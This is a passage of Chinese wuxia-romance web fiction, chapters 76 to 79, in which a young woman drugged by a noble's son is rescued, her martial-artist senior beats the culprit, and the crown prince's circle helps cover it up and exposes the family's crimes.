时间缓缓流逝,已经快到了他们约定回宫的时辰,宋少凌遂问小二要了笔墨写下一张字条交给小二,并给了一锭银子:“劳烦送到百善楼,交给一位姓姜的姑娘,就说云公子和白师妹在这里。” 小二疑惑的看着他,方才不还说是白师姐吗? 宋少凌:“姜姑娘是我们的师姐。” 小二这才接过纸条和银子:“您放心,小的立刻去送。” 临走前他又仔细看了几眼宋少凌。 这大白天的戴什么面具,见不得人? 宋少凌回到屋里又等了一会儿,突然发现不对劲,里头已经许久没有动静了。 他皱了皱眉,唤道:“白姑娘?” 里头没有人应。 宋少凌面色微变,快步走进去,却见人已经靠在浴桶边昏睡过去。 水浸泡着身子,露出白皙漂亮的锁骨,宋少凌的脸顿时通红,慌忙错开眼折身取了一件衣衫,将人裹住抱出了浴桶,放到床上再用被子将人包裹,抽出被打湿的衣衫。 踌躇片刻,又小心拉出她的手腕,轻轻搭在她的脉间。 这种情景不好请大夫,他长在军营,会些简单的救治。 脉象平稳,不见有异。 宋少凌稍微放下心,只待姜蝉衣过来给她穿好衣衫,再请大夫诊脉。 姜蝉衣来的很快。 收到宋少凌的纸条,姜蝉衣便猜到可能出了事,否则宋少凌应是带着白安渝去百善楼。 徐清宴还没回来,谢崇给掌柜的留了话便同姜蝉衣一起来了客栈。 小二带着二人到了门前:“二位,这就是白姑娘的房间。” 话刚落,门就被宋少凌打开,他看了眼姜蝉衣,道:“来了。” 姜蝉衣急切的走进去:“怎么回事,师妹呢?” 宋少凌没让谢崇进去:“你先等等。” 谢崇没说什么,背对门立着。 关上门,宋少凌低声同姜蝉衣道:“中了桃春散,眼下应是解了。” 谢崇虽没有进屋,但以他的功力,想不听见都难,听得是桃春散,眼神微微沉了沉。 姜蝉衣皱眉:“什么药?” 宋少凌含糊说了句:“春药。” 姜蝉衣一惊,快步走向床榻,必须宋少凌在此,没有第一时间掀开纱帐,而是折身问他:“谁下的药?” “如何解的?” 宋少凌明白她的意思,忙解释道:“我不知道谁下的,碰到白姑娘时她就中了药,我带她回来服用了解药,然后……” “然后就给你们送信了,我们是清白的。” 宋少凌最后一句话声音微低,他们确实没发生什么,但是将她从浴桶里抱出来,已很是逾距了。 姜蝉衣听到宋少凌说是用了解药,眉头微舒。 屋里安静了片刻,宋少凌低声道:“那个……我去请大夫。” “你先帮白姑娘……” 宋少凌话没说尽,便折身离开。 姜蝉衣怔了怔,待他离开才掀开纱帐,想起宋少凌方才的欲言又止,她试探着掀开被子,发现被子下的人不着寸缕,心中猛地一惊。 姜蝉衣信任宋少凌的品行,他说没发生什么就一定没有,可是,既然服用了解药,怎又会是这样的情景。 她一时不敢想到底发生了什么。 姜蝉衣给白安渝整理妥当后,大夫也到了,是谢崇让人去请的,口风紧也绝对可靠。 大夫诊过脉,神情复杂,好半晌才道:“这位姑娘已经无碍,醒来便好了。” 倒是稀奇,中了桃春散竟不同房也解了药性,看来是遇着高人了。 不过多的话他也不敢问。 宋少凌彻底放下心,将大夫送了出去。 等在门口的谢崇也听见了,道:“我已让人去查了。” 宋少凌眼底划过一丝杀意:“嗯。” 第77章 第 77 章 哪路神仙显的灵? 谢崇宋少凌还在禁足期, 不能在宫外久做耽搁,商议之后决定先由姜蝉衣将白安渝带回褚家,等她醒来再另做打算。 姜蝉衣将白安渝带走后, 徐清宴却一直迟迟未来,谢崇来时给百善楼留了信, 怕与徐清宴错过,只得先在客栈等,直到天光渐暗, 徐清宴才步履急切的赶过来。 谢崇看见他衣袍上的脏污, 问道:“可是发生了什么?” 徐清宴面色不佳的嗯了声:“被一辆疾行的马车撞了。” 谢崇宋少凌闻言同时皱了皱眉。 宋少凌见他腿脚似有不妥, 问:“受伤了?” “腿和手臂有些擦伤,不严重。”但痛得很。 徐清宴怕他们担忧没多说, 道:“天色不早了,先回宫吧。” 确实不能再耽搁,否则被发现又要受罚。 待几人回到东宫, 谢崇让人给徐清宴上了药,问道:“律法规定,城中一些主道之上马车不可疾行,你在何处被撞的?” “那条街上马车确实不能疾行。” 徐清宴因伤口疼痛,精神有些不济:“我当时刚从书铺出来, 欲行至对面,走到中间时, 那辆马车横冲直撞过来, 我躲避不急,若非一位姑娘相救,怕是命都得丢了。” 谢崇宋少凌闻言对视一眼,宋少凌眼神一闪, 凑近他好奇道:“姑娘?什么样的姑娘?” 徐清宴没有诉说的兴致,但见谢崇也看着他,便缓缓道:“我不知她是谁,她从马蹄下救了我,我向她道谢,她说” 宋少凌兴致昂扬:“她说什么?救命之恩以身相许?” 徐清宴有气无力抬了抬眼皮子:“她说,百无一用是书生。” 还骂他书呆子,书读傻了,走路不晓得看路。 那是他不看路吗,分明就是那马车来的太快! 宋少凌:“” 他紧紧绷直唇,努力压下向上弯的唇角。 谢崇也因这话怔愣一瞬,才又问:“可有看清是哪家马车?” “看清了。” 徐清宴抬眼道:“薛国公府的二公子,我赶着过来找你们没多做耽搁,不过听动静,那姑娘似乎抽了他几鞭子。” 谢崇隐约感知到什么,但细细去想却什么也没抓住,这时金酒进来,禀报道:“殿下,属下查到薛二公子的人在白姑娘失踪附近寻人,属下辗转打听到,他们在寻一位身着白衣的姑娘。” 谢崇看向宋少凌,宋少凌面色沉着的点头:“我找到白姑娘时,她确实着白衣。” 谢崇眉眼微沉,又是薛二公子! 徐清宴还不知今日发生了其他事,闻言忙开口询问,谢崇简短将今日之事说了一遍,徐清宴听完神情古怪的看向宋少凌,他至今还记得那日被白姑娘拒绝后,这人哭的有多么撕心裂肺,原以为他们不会再见,这怎么又遇上了! 也不知该说他们有缘,还是该说实乃孽缘。 “这么说,给白姑娘下药的是薛家二公子?” 宋少凌紧了紧拳,谢崇看他一眼,道:“此事还需查证,勿轻举妄动。” 正想着怎么偷溜出宫的宋少凌闻言不满的看向他。 谢崇哪能猜不到他的心思,正色道:“我将你扣在东宫,实则是父是知你私自离开边关,宋大将军仍在气头上,你若此时回去必要受皮肉之苦,如今还在禁足期,你若出宫去找薛二,闹大了,我也护不住你。” 宋少凌将信将疑看着他:“你为了护我才让我来的东宫?” 徐清宴白了他一眼:“不然呢?” “若不是因为护你,我早就回去了。” 他就算是禁足也是在杨府禁,怎会到东宫来,不过是被顺带的。 谢崇淡淡嗯了声。 此事原本是父皇看中宋少凌为驸马,才让他出面相护,如今这事已不必再提,自也没有多说的必要,转移话题道:“薛二一事,我会让人细查。” “金酒,看紧宋小将军。” 宋少凌:“你这么不信我?!” 谢崇抬眸看着他:“你可信吗?” 宋少凌不说话了。 确实,他仍打算偷偷出宫去找薛二,挨军棍就挨军棍,气不能不出- 白安渝醒来已过戌时。 睁开眼,发现是全然陌生的地方。 不是在客栈! 她浑身立刻紧绷,云广白将她带到哪里来了? “师妹醒了。” 耳边传来熟悉的声音,白安渝忙转过头,却见姜蝉衣似被她惊醒,已支起身子担忧的看着她:“师妹,可有何处不适?” 白安渝怔愣了几息,难掩讶异:“师姐?” 姜蝉衣见她面露迷茫,便解释道:“是宋云广白救了你,他给我送了信,我去客栈将你接回了褚家,你感觉如何,药性可全解了?” 白安渝听明白了,心中不由讶异。 师姐和云广白竟在京中重逢了。 “我没事,药性已经解了。” 姜蝉衣闻言这才彻底放下心,随后想起什么,迟疑的道:“师妹可还记得发生了什么?” 白安渝点头:“嗯,大多都记得。” 姜蝉衣直直盯着她:“我找到你时,你是我给你穿的衣裳。” 虽然她那时检查过不似发生过什么,但那种情形下,难免叫人多想。 白安渝脸色微白。 她只记得她泡了水,给自己扎了针,而后不久便没了意识。 “师姐到时我在何处?” 姜蝉衣:“床榻上。” 想了想,补充道:“裹的很严实。” 白安渝发白的脸色隐隐泛红。 所以,是云广白将她抱到床上的,可那时她未着寸缕,那他 姜蝉衣见此不必再问也意识到什么,神情复杂的沉默良久后,试探道:“其实,他品性甚佳,也是真心待你,实乃良配。” 白安渝错开眼:“师姐,此事不必再提,就当做什么也没发生过吧。” 姜蝉衣知她心结,也不再劝。 但她隐约感知到,他们可能还会再有交集。 随即想到什么,姜蝉衣沉了脸色:“师妹,是谁对你下药?” 白安渝本不愿多说,她不愿给师姐多添事端,但她明白这是在京都,大师姐贵为相国嫡女,就算她不说,大师姐也有法子能查到。 “是薛国公府的薛二。” 姜蝉衣在心中记下:“知道了。” “师妹怎和他有交集?” 且她离开落霞门时,师妹还在山上,那时师妹也未曾同她说过她也会来京中。 这些年,师妹会和她说很多趣事,但从不曾同她提的只有一桩。 当年的屠村惨案。 屠村的是一帮进村抢劫的贼寇,可师妹一直认为此事另有隐情,这么多年从未放弃过追查。 她曾想要帮忙被师妹拒绝,她也实在不知从何处着手,当年的贼寇全都已经被师父杀了,查不到半点蛛丝马迹,也没有任何证据证明屠村者另有其人。 可如今师妹来了京都,难不成当真找到了什么线索! 如此想着,姜蝉衣在白安渝开口前,忙问道:“可是查到什么了?” 若此案当真有异,她必要帮师妹查个水落石出。 白安渝动了动唇,最终还是摇头:“没有,我只是无意中被薛二看见,他对我动了歹念,在我的茶水里下了无色无味的桃春散。” 姜蝉衣仔细看她片刻,不再追问,只轻轻嗯了声,而后替她掖了掖被角,道:“你已昏睡几个时辰了,应该饿了吧,我吩咐厨房留了些饭菜,你等着,我去取来。” 白安渝刚要说不必,肚子却诚实的响了声。 姜蝉衣将她的难为情看在眼里,轻笑道:“我们可是一家人,有什么不好意思的?” 白安渝抿了抿唇,唇角跟着弯起:“嗯,多谢师姐。” 姜蝉衣快速穿好衣裳出门,然而一刻钟后回来的不是姜蝉衣,而是姜蝉衣的女使。 白安渝看了眼食盒,问:“师姐呢?” 女使如兰如实道:“姑娘说肚子有些不舒服,去了茅厕。” 白安渝此时不疑有他,直到用完饭仍不见姜蝉衣回来,她心中才隐约有了不好的预感,忙让女使去茅厕看一看。 果然,不多时,女使惊慌失措的回来:“白姑娘,我没有找到姑娘。” 白安渝一颗心蓦地沉了下去。 “这可怎么办,姑娘这大半夜的会去哪里啊?” 如兰知道自家刚回来的二姑娘师从高人,武功不凡,倒是不担心姑娘在府中出什么事,且姑娘的剑也不见了,多半是出府了,夜黑风高的万一遇到什么危险可怎么了得! 白安渝此时心中万分后悔,她不该同师姐说的。 以她对师姐的了解,师姐此时多半是去了薛家! 那薛二虽然是个废物,但那毕竟是国公府,必定守卫森严,哪是那么容易闯的。 “你可知云公子在何处?” 如兰一愣:“奴婢不认识姓云的公子。” 白安渝便知她应是不知云广白,可她此时能想到的只有云广白。 “白姑娘,您是不是知道姑娘去了何处?” 如兰试探问道。 白安渝心念急速运转几番,渐渐沉下心来:“我知道。” “我们先等等,若一个时辰后师姐没回来,便带我去见相国大人。” 师姐夜闯薛国公府,肯定会隐藏身份,若是此行顺利,薛家必会一查到底,到时要是发现相国府今夜有异动,肯定会怀疑到师姐头上,届时反倒连累相国府。 且她相信以师姐的武功,应不会出岔子。 而一个时辰,足够师姐来回。 如兰听得心惊,姑娘到底做什么去了! 可白姑娘都这么说了,眼下也只有先等着。 二人在屋里来回踱步,心焦意乱。 好在过了大半个时辰后,姜蝉衣安稳无虞的回来了。 她一推开门就见白安渝如兰神情担忧的迎上来,挑了挑眉,反手关上门,道:“如兰不了解,师妹还不清楚我的武功么?” 白安渝小跑着到她跟前,拉着她上下检查。 姜蝉衣任由她查看,将剑递给如兰,安抚道:“小小一个薛国公府,于我而言,不过无人之境。” 如兰顿觉手中剑如万斤重,瞪大眼盯着姜蝉衣:“姑姑娘去薛国公府作甚?” 薛国公可是上过战场的,府中的守卫远不是其他国公府能比的! 姜蝉衣笑了笑:“看他们二公子不顺眼,去揍了一顿。” 如兰登时目瞪口呆。 瞧瞧姑娘这说的是什么话! 如兰回过神,快速将剑挂好,回到姜蝉衣身侧,也左右打量她:“姑娘没受伤吧?” 白安渝已经检查完了,除了衣角有些脏污外,没有任何外伤。 她停下动作,抬眼看着姜蝉衣,满脸不赞同。 姜蝉衣摊开手,自己转了转,无奈道:“打一个草包纨绔子我怎么可能受伤?” “好了,时间不早了,如兰你快去睡吧。” 如兰惊魂未定的颔首领命,走出房间,还能听到她家姑娘哄白姑娘的声音:“师妹放心,我这不好着呢嘛,你又不是不知道,我轻功天下第二,退一万步说,就算打不赢,跑还跑不了吗?” “好啦好啦,师妹不生气了。” “夜色已深了,赶紧睡吧,有什么事明日再说。” 如兰重重吐出一口浊气。 谁家姑娘半夜跑去打人啊,她家姑娘也是天下独一无二了- 今日休朝,谢崇晨练结束便往书房而去,半道上被侍卫统领顾榕拦住:“殿下,出事了。” 谢崇脚步一顿。 “何事?” 侍卫统领顾榕禀报道:“薛国公府二公子昨夜被人打了,国公爷方才进宫告了御状。” 顾榕早从金酒那里得知了昨日宫外的事,听闻此事后才赶紧过来禀报。 谢崇面色一沉,折身便往宋少凌的住处去,按理说,有金酒看着,他溜不出去才对! “人伤的如何?” 顾榕快步跟在太子身侧,一言难尽:“双腿断了,脸肿成了猪头。” 不是他说话不好听,是真的没有比猪头更贴切的形容词了。 “太医说,要将养半年腿才能下地,至于脸,怕是会留一些印记。” 宋小将军下手着实是黑,不愧是边关回来的。 薛二此人可以说是纨绔之首,平日就仗着家世作威作福惯了,如今可算是踢到了铁板上,该说不说,确实大快人心。 如果没有留下什么把柄的话。 谢崇深吸一口气。 “找最擅隐匿追踪的暗卫守着国公府,若那边有什么证据,先想办法扣下。” 顾榕沉声应下:“是。” 谢崇还没到宋少凌院里,便见人打着哈欠迎面走来,见着他,快步迎过来,道:“殿下,我昨夜梦见母亲了,特别想念,今日能不能让我出下宫,一个时辰就回来。” 谢崇皱眉盯着他。 不是他做的? “你这是什么眼神?” 顾榕也察觉到不对劲,适时道:“昨夜,薛二公子被人打了。” 宋少凌闻言一愣,半晌才反应过来自己听见了什么,双手一拍合十,朝虚空四方拜下:“神仙显灵了!” 顾榕:“” 谢崇:“” “哈,哈哈哈哈,我昨夜睡觉前便祈求了各路神仙,让那姓薛的吃些苦头,没成想这么快就灵验了,哈哈哈哈哈。” 谢崇别开眼,转身离开。 顾榕跟在他身侧,拧眉道:“不是宋小将军,那还能是谁?” 这时,宋少凌也窜了上来:“对啊,到底是哪路神仙显的灵?” 谢崇眼神微沉。 事关白安渝,除了宋少凌情急之外,就只有一人会且能做这样的事。 “立刻去查薛二。” 顾榕见他语气极其郑重,心念一动,殿下知道是谁做的了? 宋少凌这时也已经反应了过来,喃喃道:“该不会是蝉衣姑娘吧。” 顾榕一愣,蝉衣姑娘是谁? “不止薛二,还有薛国公府,全部查一遍,但凡有异,立刻来报。” 顾榕心惊,殿下这是打算连根拔起? 到底是哪路神仙? “是。” 顾榕领命快步离开,隐约听见身后宋少凌的声音传来:“要不我们去褚家看看?” 褚家? 京都只有那一个褚家。 顾榕茅塞顿开。 原是未来储妃! 怪不得殿下如此着急。 第78章 第 78 章 杀鸡焉用牛刀 次日, 薛国公府二公子夜里被人殴打传遍了京都,不见有人鸣不平,暗中叫好的倒是不少。 姜蝉衣早晨带白安渝拜见父亲母亲, 用早饭时,听父亲说起此事, 面上毫无异色,仿若昨夜不曾偷偷出过府。 乔月华知道白安渝是姜蝉衣的师妹后,待她极好, 让人按照白安渝的喜好备了衣裳首饰, 又留她在府中住下。 “阿渝既是婉婉的师妹, 便将这里当成自己家。” 其他的她一概没问。 用完饭,姜蝉衣拉着白安渝去逛园子, 走出饭厅,姜蝉衣见白安渝面露愁色,知她是在担心什么, 便轻声安抚她:“师妹就放心吧,没人会怀疑我的。” 事情已经发生了,再担忧也无用,白安渝说服自己宽下心来:“师姐万不可再这样冒险了。” 她实在不想让师姐难做。 “好好好,知道了。” 姜蝉衣笑着道:“以后肯定不轻易动手, 放心,没留把柄。” 而她不知, 她们前脚一离开, 乔月华就敛下笑意,朝褚公羡道:“你女儿打了人,你心中可有成算了?” 褚公羡盯着姜蝉衣白安渝离开的方向,眉间隐有阴郁之色:“此事薛二有错在先, 先不说他们能不能抓到把柄,就算抓到又能如何。” 褚公羡看了眼儿子:“你妹妹刚回来,万不能被这事累了名声,若真留了什么把柄,届时你认下,我们陪些钱。” 昨日乔月华知道姜蝉衣带回来一位昏迷不醒的师妹时,当即就让人暗中去查了,已知晓与薛二有关。 婉婉回来时,宗止师父送过信来,信上言,婉婉嫉恶如仇,甚是护短,京都是非之地怕会闯下祸事,请他们多上些心。 方才用饭见婉婉面色平静,不似有丝毫波澜,亦没有要出府寻仇的意思,按照婉婉的性子这不应该,很显然,这气是已经出过了。 那么昨夜打薛二的人不做他想。 褚方绎淡声道:“我可以认,但恐怕不是赔钱就能了的。” 话落,几人都沉默了下来。 薛国公府祖辈上过战场,虽薛家从父辈开始已经从文,但当今圣上对战场下来的武将都很是优待,又加上薛国公府是京都世家,不知多少年积累下来的底蕴,自非寻常国公府可比。 薛二又是国公府嫡子,被人打了绝不是能赔钱了事的。 过了好一会儿,乔月华试探问:“打的有多严重?” 褚公羡轻嗤一声,没好气道:“这丫头下手也忒狠了。” “两条腿断了,没有半年下不了地,那脸要不是人在房里,他亲生父母见了都不一定认得出来,太医还说,脸上可能会留疤。” 乔月华倒吸一口凉气。 如此严重,确不会是钱能了的。 “婉婉性情柔和,看来真是气狠了。” 褚公羡褚方绎同时看向她。 这叫性情柔和? 乔月华面不改色:“若非薛二不做人,对阿渝使那下三滥的招数,何至于逼的婉婉打人。” 言罢,她突然想到什么,看了眼父子二人,轻声道:“我见宗止师父信上说,婉婉在江湖历练几年,江湖险恶,人心难测,以婉婉的性子,你们说,这孩子会不会沾过血?” 褚公羡父子闻言一怔,半晌后,褚方绎缓缓开口:“江湖与朝堂不同,少有什么你来我往的机锋,不是你死就是我亡,便是杀过人,也正常。” 褚公羡微微蹙眉。 “可京都不同于江湖” 褚方绎明白他的意思,道:“婉婉有分寸,否则若是江湖寻仇,今日国公府就该报的是凶杀案。” “是这个理。” 乔月华轻轻呼出一口气:“依我看,婉婉心中有数得很,不过阿绎方才说的也对,薛老将军不会轻易善罢甘休,况且众所周知阿绎性子温和,很难让人相信此事乃阿绎所为,万一嫌疑落到婉婉身上” 两个姑娘名声都要受损。 褚公羡看向她:“夫人有何高见?” 乔月华缓缓开口:“也不知二哥哥近日在做什么,可有闯了什么祸。” 有句话叫虱子多了不怕痒。 褚公羡面露迟疑:“这不好吧?” 乔月华不轻不重觑他一眼:“你装什么,你心中不也打的是这个主意。” 她那位二哥哥立过军功,朝堂上也有政绩,还是个不羁的性子,放眼京都,没人混得过二哥哥,也绝非薛国公府能动的人。 若薛国公府是世代忠良,她必定亲自上门赔礼道歉,可此事是薛二招惹在先,那薛二又是个混账纨绔,那就怪不得她了。 如今万全之策定是除去后患最好,只当务之急是先将婉婉摘出去,再徐徐图之。 褚公羡轻咳一声,赔笑道:“我去求二舅哥。” 然不等褚公羡出门,乔二爷的人就找上门来了。 “三姑奶奶,二爷让小人前来传话,昨夜之事乃二爷所为,与相国府无关,二爷已经进宫请罪了。” 乔月华一愣,二哥哥怎已知道了,听人已去请罪,忙问:“二哥哥可还说了什么?” 乔家人回道:“三姑奶奶宽心,二爷是带着薛二公子的罪状去请罪的。” 乔月华闻言放下心,轻轻勾唇:“知道了。” 她就说,二哥哥绝不是吃亏的主。 “二哥哥如何得知?” “回三姑奶奶,今日一早,东宫的人去见过二爷。” 乔月华与褚公羡对视一眼。 真是好事不出门,短短半日,竟都已经传到东宫去了! 太子最是端正重礼,也不知会不会因此对婉婉心有成见。 “退婚一事,陛下如何说?” 褚公羡沉色摇头:“太子不松口。” 如今只有请乔老太爷出面,才退得了这婚。 这时,突听褚方绎道:“父亲,母亲,薛国公府一事既有东宫出面,我们便不掺和。” “至于退婚,还需问过妹妹的意思。” 褚公羡一愣:“你上次不是说婉婉在城门口便同太子殿下提了退婚?” “哦,是说过。” 褚方绎理了理衣襟起身,道:“不过后来仔细想想,妹妹与太子好像早就相识,那日说不准是在闹脾气呢。” “儿子还有要事,先告退了。” 夫妻二人看着儿子走远,半晌,褚公羡才回过味来,嘶了声:“他是不是利用我给太子殿下使绊子?” 乔月华:“” 倒是阿绎能做出来的事。 “二哥哥还在宫里,你快些着人打听。” 褚公羡皱眉:“夫人就护着他罢,他这性子,早晚要捅出大篓子。” 乔月华淡然道:“阿绎最像他大舅舅,你何时见他大舅舅捅过大篓子?” 褚公羡:“夫人莫不是忘了,早些年他与小王爷合起伙来拐幼年的太子殿下出宫?哪朝太子太傅像他那样拐带太子跑没影一年不回京的?” 乔相年可从来不是个温谦的,这种人捅起篓子来绝非小事。 乔月华哦了声,起身往外走:“不记得了。” 褚公羡:“”- 天气正好,阳光明媚,姜蝉衣带白安渝逛完园子就拉着她下棋,师姐妹在这方小天地里欢乐自在,全然不知此时宫中是怎样的鸡飞狗跳。 “乔二爷正在大殿中闹呢。” 宋少凌靠坐在谢崇的书案上,束起大拇指:“你这招可真高。” 徐清宴轻轻勾唇:“先不论乔二爷乃帝师之子,单论功绩,便不是薛二能比。” 陛下优待战场上下来的将军,薛老将军是有战功,可薛二却是个作奸犯科的草包,与亲自上过战场又在京都破案无数的乔二爷比起来,孰轻孰重,一目了然。 连放在一起比较都是对乔二爷的侮辱。 “如今更是捏住了薛二的罪证,今日,薛国公府怕是不能全身而退了。” 以乔二爷的本事,怕是天不黑就能将薛二下狱。 徐清宴摇头喃喃道:“杀鸡焉用牛刀。” 薛二也算是长脸了,能叫乔二爷出面对付他。 宋少凌心情大好,凑近谢崇:“那我们何时可以去相国府?” 谢崇抬眸:“禁足期满,任你往哪里去。” 宋少凌收起笑容坐了回去。 禁足期还有大半月呢! 随后,他眯起眼看着谢崇,他就不信,他能忍得住大半月不去见姜蝉衣! “此事其实经不起细敲。” 谢崇正色道:“我请乔二叔出面,是不想让两位姑娘名声受损,而待薛二反应过来,做贼心虚难免不会往白姑娘身上想,若知晓白姑娘在相国府,定会想通其中关窍。” “薛家小辈没有出彩的,但薛老将军脉络众多,薛大人心思深沉,不可小觑。” 宋少凌一怔,担忧道:“那若被查出该如何?” “我会让人给蝉衣送信,让她这段时日先闭门不出,也请白姑娘在相国府暂避。”谢崇来回看了眼二人:“此案落定之前,不可去相国府,以免被人抓住把柄,惹来猜疑。” 事关姜蝉衣白安渝,宋少凌听了进去,之后大半月不再提要出宫的事。 徐清宴无事自然也不想出宫。 太子书房有太多藏书,他能在这里长久坐下去。 一切如徐清宴所说,薛二连夜被下京兆狱。 次日,京兆衙门不少苦主投状纸,状告薛二强抢民女,草菅人命,此事闹的太大,陛下亲自过问,交由刑部审理。 而乔二爷因夜闯国公府触犯律法挨了几板子,跟没事人一样大摇大摆的出了宫。 最终,薛国公府散半数家财赔偿,保住薛二性命,被判流放。 原本此案至此也就结束了,可就在东宫禁足结束前一日,金酒送回消息,薛国公府与解家账务往来,高达数万金。 “好家伙,我感觉像是揪出了不得了的事。” 宋少凌震惊道。 谢崇眸色一片暗沉。 解家与黑酆门私自采矿早已定案,却没想到如今竟意外的扯出了薛国公府。 第79章 第 79 章 藏宝图 今日是东宫禁足期满的日子。 谢崇昨夜派人约姜蝉衣今日在百善楼相见, 有要事商议。 姜蝉衣已知晓二舅舅替她认罪,只风口浪尖上不敢贸然去乔府探望,今日才给乔府送信, 约见二舅舅。 也定在百善楼。 乔祐年来的比东宫快,姜蝉衣一见他赶紧上前施礼:“二舅舅。” 乔祐年笑嘻嘻抬手扶起她, 打趣道:“太子今日禁足期满,你不与他相见,倒来见我?” 姜蝉衣如实答道:“太子晚些时候便会来此。” “原是这样。” 乔祐年眉头一挑:“我还没机会问过你, 你可是对太子不满意?” 父亲进宫退婚的事外界知道的不多, 自己人却是清楚些的, 他问起父亲,父亲说是褚方绎道妹妹在城门口曾向太子提过退婚。 褚家好不容易将外甥女盼回来, 若她不愿,褚公羡肯定会想法子如她意。 不过嘛,褚方绎的话, 不能尽听,里头说不准就绕着七弯八道。 姜蝉衣闻言愣了愣,而后忙道:“满意。” 这回轮到乔祐年怔住了。 他细细观察外甥女,着实寻不出说谎的痕迹,确认道:“当真满意?不想退婚?” 姜蝉衣飞快摇头:“不想啊。” 自知道太子就是燕鹤, 她从未真想过退婚。 “嘶……” 乔祐年咬咬牙,果然又是褚方绎在中间搞鬼。 “这话可曾同你父亲母亲言明?” 姜蝉衣点头:“前些日子母亲特意问过, 我已如实说了。” 乔祐年满意道:“那便好。” 外甥女这态度一看就是对太子有意, 可莫要因什么误会真退了婚才是麻烦。 寒暄过后,姜蝉衣又向乔祐年行礼:“薛国公府一事,多谢二舅舅。” 乔祐年抬手扶起她:“嗐,小事, 别跟二舅舅见外。” “可二舅舅替我挨了罚,我……” 乔祐年摆手打断她:“那几板子算得什么,挠痒痒似的。” “偷偷告诉你,执刑的是我的酒搭子,哪能真下死手,还有啊,我知道你武功好,不过呢京都到底不比江湖,对女子稍微苛刻些,你下次想打谁告诉二舅舅,二舅舅替你去。” 姜蝉衣心中动容,颔首称是。 乔祐年忽而盯着她,眯起眼。 上次在乔家人多,乔祐年也没与姜蝉衣说上几句话,今儿隔得近了,他怎么觉得这双眼睛好像有些熟悉。 “我们是不是还在哪里见过?” 姜蝉衣一顿,忽而想起什么,心虚的眨眨眼:“我……” 乔祐年本只是略微存疑,见姜蝉衣这般反应,反倒更添疑虑。 难道还真在哪里见过。 他审犯人无数,不说过目不忘,可但凡见过一面的人再遇见他不应该想不起来。 是在哪里见过呢? 对这双眼睛似曾相识…… 猛地,乔祐年后退一步,抬手虚空挡住姜蝉衣半边脸,而后瞪大眼:“你,夙安,假扮公主?” 姜蝉衣不敢否认,诚实的点头,解释道:“那时我曾找过机会与二舅舅相认,只是……没寻到合适时机。” 乔祐年记得当时情景,他一心要拉玉家父子进京将功赎罪,生怕他们半道跑了,一直跟着他们,她自然找不到时机。 乔祐年顿时悔的肠子都青了! 他本该是第一个与外甥女相认的人! 也罢,就算没相认,他也是自家第一个见外甥女的人。 再说当时外甥女喊他舅舅了,怎么不算相认。 “这事你父亲母亲知晓吗?” 姜蝉衣摇头:“不知。” 这种事她哪里敢说。 “不知最好。”乔祐年道:“也不必特意说与他们听,嘶,这么说来,你早就与太子认识了?” “嗯。” 姜蝉衣如实道:“已经相识三年了,不过也是在回京见到他才知道彼此的身份。” 乔祐年喔了声:“如此,你二人倒是有缘,不过也是巧,小王爷偏就定了你。” 姜蝉衣也觉得实在太巧。 恰这时,楼道间传来脚步声,乔祐年道:“好了,想来是太子到了,你们自己说话,我先走了。” 姜蝉衣却道:“不是太子。” 乔祐年脚步一顿:“嗯?” “脚步声不同。” 姜蝉衣凝神细听,道:“前头那人不会武功,年岁稍长。” 乔祐年挑了挑眉。 这层只有两间厢房,一是百善楼用来招待太子公主等贵客,另一间则是只留给昭昭表妹。 不会武功,年岁稍长,谢蘅来了! 乔祐年正想出去打个招呼,便听有人敲门,问:“太子殿下?” 姜蝉衣一愣,这声音,很有些耳熟! 这是…… “沐盟主?” 外头的人听到回应怔愣了一会儿,推门而入。 果然,正是沐玄机。 沐玄机从掌柜处得知今日太子定了厢房,听得里头说话已知晓太子不在,猜想可能是姜蝉衣,才敢敲门询问。 他先是拱手恭敬朝乔祐年见礼:“见过乔二爷。” 又朝姜蝉衣道:“姜姑娘,又见面了。” “你们也认识啊。”乔祐年。 沐玄机:“江湖相逢。” 乔祐年已知姜蝉衣与谢崇相识已久,与沐玄机认识也就不奇怪了,上下打量他一眼,笑着道:“小盟主,这次回来还走吗?” 沐玄机快速看了眼姜蝉衣,答的模棱两可:“说不准。” 要是被秋后算账,怕还是得出去躲一躲。 乔祐年哼笑一声,抬了抬下巴:“可是谢蘅来了?” 沐玄机回道:“正是小王爷。” “夫人今日去了军营,小王爷觉着府里闷,出门散心。” “嘁。” 乔祐年嫌弃道:“多少年了,还是个跟屁虫。” 这话沐玄机可不敢附和,只笑着不语,偷偷朝姜蝉衣挤挤眼。 姜蝉衣:“……” 姜蝉衣只觉心中一片凌乱,他不是武林盟主么,怎么听着又是明亲王府的人? “你们聊着,我去见见谢蘅。” 乔祐年说罢便大步出门,进了另一个厢房。 他一走,沐玄机忙凑近姜蝉衣问:“太子何时来?” 姜蝉衣:“应该快了。” 沐玄机眉眼一挑:“哦。” “如此,那我们长话短说。” “我再重新介绍一下,我是明亲王府小王爷暗卫统领玄烛与神医沐笙之子,沐玄机。”沐玄机笑的牙不见眼:“嫂嫂,幸会。” 姜蝉衣:“……” 神医之子带来的震撼盖过了那声嫂嫂:“原来你竟是沐神医之子,那师妹……” “嘿,是呀。” 沐玄机:“嫂嫂的师妹白安渝算是母亲半个徒儿。” 姜蝉衣不得不感慨天地之小。 突然,姜蝉衣意识到什么,疑惑的看着沐玄机:“你好像见到我并不意外?” 她确认她回京后没有见过他,可他却像是早对她的身份了然于心。 沐玄机眼神微闪:“啊,是吗?” 楼道间又传来脚步声,沐玄机立刻往窗边窜出:“我还有要事先走了,嫂嫂别告诉太子我来过。” 沐玄机刚从窗户消失,谢崇几人便绕过屏风进来,宋少凌往还在摆动的窗户看了眼,疑惑道:“那是谁?” 姜蝉衣看向谢崇:“沐玄机。” 谢崇眼神微沉,侧首道:“金酒,抓回来。” 金酒立刻领命而去。 “沐盟主?” 宋少凌徐清宴都很是疑惑:“他怎么在这里?” 姜蝉衣总觉得她好像隐约触及到了什么真相,但细细思索却又抓不住,只解释道。 “他是玄烛大人和神医沐笙之子。” 宋少凌徐清宴在东宫的这些日子,已经将京都各家人物关系知晓的差不多了,闻言便明白了:“原是明亲王府的人。” 不多时,金酒回来,禀报道:“殿下,属下没抓住。” 沐师弟的武功尽得玄烛师叔真传,哪是他能抓得住的。 “去哪了?” 金酒:“……追出这条街就不见了。” 他全然没看清人去哪了。 谢崇嗯了声:“知道了。” 随后道:“让人守在王府。” 金酒一听便知殿下是铁了心要逮人,忙应下:“是。” 沐师弟这回也是活该,竟早知双方身份却不点明,还跑回京都撺掇小王爷给两人定下婚约。 他前几日才知,原来明亲王府上下几乎都知道,都等着看热闹呢。 